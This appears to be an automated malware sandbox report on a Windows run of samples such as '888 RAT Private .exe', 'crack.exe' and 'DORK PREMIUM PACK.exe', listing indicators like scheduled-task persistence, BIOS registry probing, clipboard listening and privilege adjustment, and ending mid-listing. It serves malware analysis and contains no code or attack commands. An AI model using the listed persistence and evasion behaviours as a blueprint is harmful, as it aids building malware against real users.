\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Msft&Prod_Virtual_Disk\2&1f4adffe&0&000004\HardwareID chrome.exe -
Creates scheduled task(s) 1 TTPs 39 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2504 schtasks.exe 3764 schtasks.exe 2112 schtasks.exe 5816 schtasks.exe 5628 schtasks.exe 4668 schtasks.exe 5608 schtasks.exe 1848 schtasks.exe 5012 schtasks.exe 5716 schtasks.exe 5468 schtasks.exe 4492 schtasks.exe 5684 schtasks.exe 4996 schtasks.exe 4648 schtasks.exe 4124 schtasks.exe 4460 schtasks.exe 5216 schtasks.exe 5320 schtasks.exe 1468 schtasks.exe 2228 schtasks.exe 2920 schtasks.exe 112 schtasks.exe 5444 schtasks.exe 4556 schtasks.exe 5676 schtasks.exe 924 schtasks.exe 5132 schtasks.exe 5372 schtasks.exe 2816 schtasks.exe 3492 schtasks.exe 6044 schtasks.exe 4916 schtasks.exe 5476 schtasks.exe 5028 schtasks.exe 4868 schtasks.exe 5672 schtasks.exe 3808 schtasks.exe 4688 schtasks.exe -
Enumerates system info in registry 2 TTPs 25 IoCs
Processes:
videos.exemsedge.exechrome.exevideos.exevideos.exevideos.exenw.exemsedge.exenw.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName videos.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName videos.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName nw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName videos.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName nw.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer nw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer nw.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS nw.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS nw.exe -
Processes:
WinRAR.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\IESettingSync WinRAR.exe Set value (int) \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" WinRAR.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch WinRAR.exe Set value (str) \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" WinRAR.exe -
Modifies data under HKEY_USERS 4 IoCs
Processes:
videos.exenw.exenw.exedescription ioc process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry videos.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133167854652453412" videos.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry nw.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry nw.exe -
Modifies registry class 64 IoCs
Processes:
uninstall.exechrome.exeWinRAR.exeWinRAR.exeOpenWith.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r16 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shell uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.taz\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.001\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\WinRAR uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r26 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\DropHandler uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\DropHandler\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r01 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r17 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shell\open\command uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\DefaultIcon\ = "C:\\Program Files\\WinRAR\\WinRAR.exe,0" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\shell uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r18\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cab\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.uue uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.rev uninstall.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\Local Settings chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\WinRAR32 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r13\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.rar\ShellNew uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.zip\ = "WinRAR.ZIP" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r21 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.uue\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\DropHandler\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.z uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\PropertySheetHandlers uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r00 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.rar\ShellNew\FileName = "C:\\Program Files\\WinRAR\\rarnew.dat" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\shell\open\command uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\InProcServer32\ThreadingModel = "Apartment" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\ContextMenuHandlers uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.tar uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\ = "WinRAR ZIP archive" uninstall.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ WinRAR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\ContextMenuHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\ uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\WinRAR32 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r02 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r23\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.zipx uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\shell\open\command\ = "\"C:\\Program Files\\WinRAR\\WinRAR.exe\" \"%1\"" uninstall.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ WinRAR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r08 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r22 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.lzh uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32\ThreadingModel = "Apartment" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r25 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.tlz\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.7z uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r05\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r23 uninstall.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\Local Settings OpenWith.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\ContextMenuHandlers uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.lha uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bz2\ = "WinRAR" uninstall.exe -
Opens file in notepad (likely ransom note) 1 IoCs
Processes:
NOTEPAD.EXEpid process 5232 NOTEPAD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
crack.exepid process 1992 crack.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
chrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exetaskmgr.exepid process 3000 chrome.exe 3000 chrome.exe 3680 chrome.exe 3680 chrome.exe 1912 chrome.exe 1912 chrome.exe 4756 chrome.exe 4756 chrome.exe 4276 chrome.exe 4276 chrome.exe 4336 chrome.exe 4336 chrome.exe 3908 chrome.exe 3908 chrome.exe 4892 chrome.exe 4892 chrome.exe 4892 chrome.exe 4892 chrome.exe 1128 chrome.exe 1128 chrome.exe 4068 chrome.exe 4068 chrome.exe 4920 chrome.exe 4920 chrome.exe 4168 chrome.exe 4168 chrome.exe 1932 chrome.exe 1932 chrome.exe 1992 chrome.exe 1992 chrome.exe 4092 chrome.exe 4092 chrome.exe 3720 chrome.exe 3720 chrome.exe 1420 chrome.exe 1420 chrome.exe 5104 chrome.exe 5104 chrome.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 7 IoCs
Processes:
WinRAR.exe888 RAT Private .exetaskmgr.exeWinRAR.exeOpenWith.exeWinRAR.exechrome.exepid process 460 WinRAR.exe 3148 888 RAT Private .exe 3736 taskmgr.exe 5536 WinRAR.exe 3052 OpenWith.exe 5960 WinRAR.exe 3680 chrome.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs
Processes:
chrome.exepid process 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
AUDIODG.EXEtaskmgr.exevideos.exevideos.exedescription pid process Token: 33 4232 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 4232 AUDIODG.EXE Token: SeDebugPrivilege 3736 taskmgr.exe Token: SeSystemProfilePrivilege 3736 taskmgr.exe Token: SeCreateGlobalPrivilege 3736 taskmgr.exe Token: SeShutdownPrivilege 4924 videos.exe Token: SeCreatePagefilePrivilege 4924 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
chrome.exepid process 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
chrome.exetaskmgr.exepid process 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe -
Suspicious use of SetWindowsHookEx 42 IoCs
Processes:
OpenWith.exewinrar-x64-611.exeWinRAR.exe888 RAT Private .exeUUFVWP.exeOpenWith.exeOpenWith.exeDORK PREMIUM PACK.exepid process 388 OpenWith.exe 4028 winrar-x64-611.exe 4028 winrar-x64-611.exe 460 WinRAR.exe 460 WinRAR.exe 3148 888 RAT Private .exe 3148 888 RAT Private .exe 308 UUFVWP.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 4648 OpenWith.exe 5556 DORK PREMIUM PACK.exe 5556 DORK PREMIUM PACK.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
chrome.exedescription pid process target process PID 3680 wrote to memory of 1424 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 1424 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 4540 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3000 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3000 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe PID 3680 wrote to memory of 3700 3680 chrome.exe chrome.exe
Processes
-
C:\Windows\system32\NOTEPAD.EXEC:\Windows\system32\NOTEPAD.EXE "C:\Users\Admin\AppData\Local\Temp\RUNNING FROM THE INTERNET - FREE GUI - AUTO SPIN & MORE!.txt"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbae784f50,0x7ffbae784f60,0x7ffbae784f702⤵
-
